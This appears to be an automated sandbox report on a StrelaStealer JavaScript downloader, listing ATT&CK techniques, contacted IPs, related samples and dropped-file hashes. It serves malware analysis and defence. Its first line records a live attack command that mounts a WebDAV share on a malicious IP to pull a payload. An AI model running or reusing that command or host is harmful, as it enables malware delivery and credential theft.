Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1709323591581122310.js	5%	Virustotal		Browse
1709323591581122310.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	84.201.210.23	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3331703551.0000020AD4A0F000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2127466847.0000020AD4840000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2120699616.000001F720B5C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2120699616.000001F720B3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2120699616.000001F720B10000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588519
Start date and time:	2025-01-11 01:59:32 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1709323591581122310.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 18.213.11.84, 34.237.241.83, 54.224.241.105, 50.16.47.176, 2.23.242.162, 23.209.209.135, 84.201.210.23, 2.16.168.105, 2.16.168.107, 13.107.246.45, 20.12.23.50, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:00:26	API Interceptor	23x Sleep call for process: powershell.exe modified
20:00:30	API Interceptor	1x Sleep call for process: net.exe modified
20:00:30	API Interceptor	2x Sleep call for process: svchost.exe modified
20:00:38	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	217216328232499881.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	82691949257725140.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.35
	2445839083247016653.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	739144331377016921.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.36
	4947276292772611217.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	28098292552574015467.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	129415641190368510.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	1238420799116328606.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1957514819973625739.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.35
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	31244102191071522677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3141714165326508962.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	9742962732217849.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5949401323954377.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4623256121503424814.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15315323282846423758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2581826545127854631.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	260622981189829640.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	395815050212839547.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	525931685256721403.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8306837592860948
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugX:gJjJGtpTq2yv1AuNZRY3diu8iBVqFZ
MD5:	E318B6A734151365A60F146F7C01AF4F
SHA1:	FEE1D0D8AFE0EE185A2F9D707B6407913C65FC85
SHA-256:	3811728C1A55834565D328A4D24E3ECF2A18E42CF507F5D2B77FF13FD4C3DCB9
SHA-512:	370179D3FF32FC3065F85C0A9812B7B3AE8043344EED0FCFEA17CFCA3B1B1B44D01513D923EB2C16FD1B706B97A916CA2F43450BEB3974D89E0C4D4290710B02
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xef9f50e9, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585163897462342
Encrypted:	false
SSDEEP:	1536:xSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:xaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	0C7054A7188945F32F8EF0787363DDC1
SHA1:	5302C0C0873A9EE8F5381A22885D784C9D660229
SHA-256:	6CDCA328E839DC8AEF96B9E5EBB72B5A93816873D3E36537116BEA79A41E975B
SHA-512:	E8C4D220446071FF2452A6E4523FA298CE468D53ECC37D1D7DA94806C1A3DEDB2E8E97EEF0E5FF9E772E318B710A3E41866CB2AD48D747602EC94E38954A1BD6
Malicious:	false
Preview:	.P.... ...............X\...;...{......................0.z..........{.......}G.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{...................................yS.....}g..........................}G..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07919229575169356
Encrypted:	false
SSDEEP:	3:YXKYeNCPhwGGuAJkhvekl1pbwGhlt/ollrekGltll/SPj:YXKzNGhwGrxlj1hXAJe3l
MD5:	2D4BA8E4C1F9F87F45E9DE76D7476626
SHA1:	F58391AADFED67BC07EEC14C541C0F2F52CC3FD6
SHA-256:	E6A21E0EE01201E44DE751CF79638A511EA95EBC3DAF782AE69CA256DF5CBAAE
SHA-512:	B743CF3BB9C995DF94BB97EC3A5370AA0EF72FA0A5C5E908DD0DCD1D84CAB448E92C67585EBC240D969FDC3E213327C44F4E257B47B0FAF7393BDCB499A998DA
Malicious:	false
Preview:	. .......................................;...{.......}G......{...............{.......{...XL......{...........................}G.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.098621864120835
Encrypted:	false
SSDEEP:	6:iO4qVOVG+q2P92nKuAl9OmbnIFUtSqVOVYZmwsqVOVoVkwO92nKuAl9OmbjLJ:7n6Hv4HAahFUtZ6Y/L6A5LHAaSJ
MD5:	1DD1EDB4E24F0381C12B71A38F29A1D8
SHA1:	113C0F57BCA5143AF3946DE5D5203B63B9AD10F0
SHA-256:	497E2B9F58613B982B245B2D00D6CF22F71BF454E94E2E823744102837C19AA8
SHA-512:	A682952255DBA3313C34990BF3E71D3923F340C86800B6DCEC0877C1BA8A3C538B5EF1048D60B0C61BEC0903F0F91C0B1E82C0AF59CBA9526D6C05673180ED6B
Malicious:	false
Preview:	2025/01/10-20:00:30.850 a78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:00:30.852 a78 Recovering log #3.2025/01/10-20:00:30.852 a78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.098621864120835
Encrypted:	false
SSDEEP:	6:iO4qVOVG+q2P92nKuAl9OmbnIFUtSqVOVYZmwsqVOVoVkwO92nKuAl9OmbjLJ:7n6Hv4HAahFUtZ6Y/L6A5LHAaSJ
MD5:	1DD1EDB4E24F0381C12B71A38F29A1D8
SHA1:	113C0F57BCA5143AF3946DE5D5203B63B9AD10F0
SHA-256:	497E2B9F58613B982B245B2D00D6CF22F71BF454E94E2E823744102837C19AA8
SHA-512:	A682952255DBA3313C34990BF3E71D3923F340C86800B6DCEC0877C1BA8A3C538B5EF1048D60B0C61BEC0903F0F91C0B1E82C0AF59CBA9526D6C05673180ED6B
Malicious:	false
Preview:	2025/01/10-20:00:30.850 a78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-20:00:30.852 a78 Recovering log #3.2025/01/10-20:00:30.852 a78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.058924322688287
Encrypted:	false
SSDEEP:	6:iO4qVOVwAHN+q2P92nKuAl9Ombzo2jMGIFUtSqVOVK5ZmwsqVOV9NVkwO92nKuAv:7n6wIIv4HAa8uFUtZ6m/L69z5LHAa8RJ
MD5:	71D37DD552FF4D5D08F30BE35D0DE5FC
SHA1:	BF16D58C38F5F6F0C60F5B2E99EC9EC0F4CB6C92
SHA-256:	20F12552743859AA31F3FD61B22D6CED34DF871CBAC1D4A5170FBF443390954B
SHA-512:	76BF4FF3791A8263B50E00CAE613970BD7053B09E356BF1FC74878218567950874EC51082502684510187E45CCBBDD91FFDA9DEB6A1D84FB0991A8F80D5C5153
Malicious:	false
Preview:	2025/01/10-20:00:30.880 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:00:30.881 1c28 Recovering log #3.2025/01/10-20:00:30.882 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.058924322688287
Encrypted:	false
SSDEEP:	6:iO4qVOVwAHN+q2P92nKuAl9Ombzo2jMGIFUtSqVOVK5ZmwsqVOV9NVkwO92nKuAv:7n6wIIv4HAa8uFUtZ6m/L69z5LHAa8RJ
MD5:	71D37DD552FF4D5D08F30BE35D0DE5FC
SHA1:	BF16D58C38F5F6F0C60F5B2E99EC9EC0F4CB6C92
SHA-256:	20F12552743859AA31F3FD61B22D6CED34DF871CBAC1D4A5170FBF443390954B
SHA-512:	76BF4FF3791A8263B50E00CAE613970BD7053B09E356BF1FC74878218567950874EC51082502684510187E45CCBBDD91FFDA9DEB6A1D84FB0991A8F80D5C5153
Malicious:	false
Preview:	2025/01/10-20:00:30.880 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-20:00:30.881 1c28 Recovering log #3.2025/01/10-20:00:30.882 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.044669799688802
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxsBdOg2H2JAcaq3QYiubxnP7E4T3OF+:Y2sRdsfdMH2J3QYhbxP7nbI+
MD5:	67F4112865460712ED12D14E2379E75D
SHA1:	B56B545CF59FFD42D7D881E1E2D70A4ACB402373
SHA-256:	4258D457282C3C36D5377E31A815BBE7F15EBE902DCA29D02EDC185155A0825C
SHA-512:	23A42291ECBCF36D33C21F49783FCE1C8E1F6837C45DB1EE66A86D0EBD53941CAEE3B6DC353A58C3DE2848872C8E9A0AEF27B1E9E90DBAB87E0D8DF2E0A492A2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117241709119","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134122},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c2491a7a-da25-42f2-80b3-247275c37411.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.044669799688802
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqxsBdOg2H2JAcaq3QYiubxnP7E4T3OF+:Y2sRdsfdMH2J3QYhbxP7nbI+
MD5:	67F4112865460712ED12D14E2379E75D
SHA1:	B56B545CF59FFD42D7D881E1E2D70A4ACB402373
SHA-256:	4258D457282C3C36D5377E31A815BBE7F15EBE902DCA29D02EDC185155A0825C
SHA-512:	23A42291ECBCF36D33C21F49783FCE1C8E1F6837C45DB1EE66A86D0EBD53941CAEE3B6DC353A58C3DE2848872C8E9A0AEF27B1E9E90DBAB87E0D8DF2E0A492A2
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381117241709119","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":134122},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.229329791344991
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUXlS8zi:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLv
MD5:	2028DDE3FA9E4EBFA736FA32664781A2
SHA1:	C0F0B70AA6970170DDF74D75AB298F9EA7C0C3F5
SHA-256:	7BC4F22626F245E74EFB140AA065F19958BC8EDB1E845BF7ABA7729A56A800C0
SHA-512:	1A9B6656FB223D9060CFF76992996CE6D6E5547A471418D058F5D5B8B34CA0F518569CF41F5D4AF5F857B1462398F4882800D2EBD825E3A7CC864CC515E62D02
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.083740223115485
Encrypted:	false
SSDEEP:	6:iO4qVOSo5N+q2P92nKuAl9OmbzNMxIFUtSqVOSbZZmwsqVOS2UVkwO92nKuAl9Ob:7ngKv4HAa8jFUtZDZ/L55LHAa84J
MD5:	D101451D18D0F156CF437CD5E2BD4617
SHA1:	CE7A314ABE368C2B91B8D783A9A555630CA904A9
SHA-256:	3817A7815F7990B3C7108CD18634A99679A585D26519F156ECBF346C7069BE04
SHA-512:	4BB0D2B11811B8B953B21D5799EED1FABF7FEC85B29E49ADF3389C68B75C3DEE53669DF18E8A4857D311F299B3BDA719B288D4524D4336CFB3A11A27CC0743FA
Malicious:	false
Preview:	2025/01/10-20:00:31.135 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:00:31.152 1c28 Recovering log #3.2025/01/10-20:00:31.161 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.083740223115485
Encrypted:	false
SSDEEP:	6:iO4qVOSo5N+q2P92nKuAl9OmbzNMxIFUtSqVOSbZZmwsqVOS2UVkwO92nKuAl9Ob:7ngKv4HAa8jFUtZDZ/L55LHAa84J
MD5:	D101451D18D0F156CF437CD5E2BD4617
SHA1:	CE7A314ABE368C2B91B8D783A9A555630CA904A9
SHA-256:	3817A7815F7990B3C7108CD18634A99679A585D26519F156ECBF346C7069BE04
SHA-512:	4BB0D2B11811B8B953B21D5799EED1FABF7FEC85B29E49ADF3389C68B75C3DEE53669DF18E8A4857D311F299B3BDA719B288D4524D4336CFB3A11A27CC0743FA
Malicious:	false
Preview:	2025/01/10-20:00:31.135 1c28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-20:00:31.152 1c28 Recovering log #3.2025/01/10-20:00:31.161 1c28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
